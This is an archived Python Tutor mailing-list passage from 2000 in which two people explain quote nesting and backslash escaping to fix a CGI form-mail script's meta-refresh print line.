Jun 30, 2000 at 10:39:51AM -0500 References: <39073472CFF4D111A5AB00805F9FE4B6031E883C@txexmta9.amd.com> Message-ID: <20000630100706.A29219@novara.avenue> * jason.brashear@amd.com : > But Blake why does Mine4 work? I see that you used ' ' instead if " " How > and why does that work? > > Yours: print "" > Mine4: print '' > Mine5: print "" > You can use double quotes inside single quotes and vice versa. Python is flexible on this. All it wants to do is differentiate from what's in the string and what contains the string: print ' "All" ' print " 'of' " print ' \'these\' ' print " \"work\" " print """ "with" 'Python' \'just\' \"fine!\" """ David From dyoo@uclink4.berkeley.edu Fri Jun 30 20:27:38 2000 From: dyoo@uclink4.berkeley.edu (Danny Yoo) Date: Fri, 30 Jun 2000 12:27:38 -0700 (PDT) Subject: [Tutor] Having trouble with a form mail script. In-Reply-To: <39073472CFF4D111A5AB00805F9FE4B6031E883A@txexmta9.amd.com> Message-ID: > What I want to do is put a meta refresh but when I ad that Line I get an > Internal server error. The line that's causing grief is most likely this one: > print "" It's the quotation. Python's breaking it up into something like this: "" which confuses the heck out of Python, since it doesn't realize when a '"' should be treated as string termination, or as a literal '"'. Since you want to do quoting inside strings, the easiest solution to this is to use single quotes to surround the html: print '' which will be recognized as a single string and is unambiguous. Another way to do this would be to "protect" the inner quotes by escaping them with backslashes. "\"" is a string with a single quote, for example.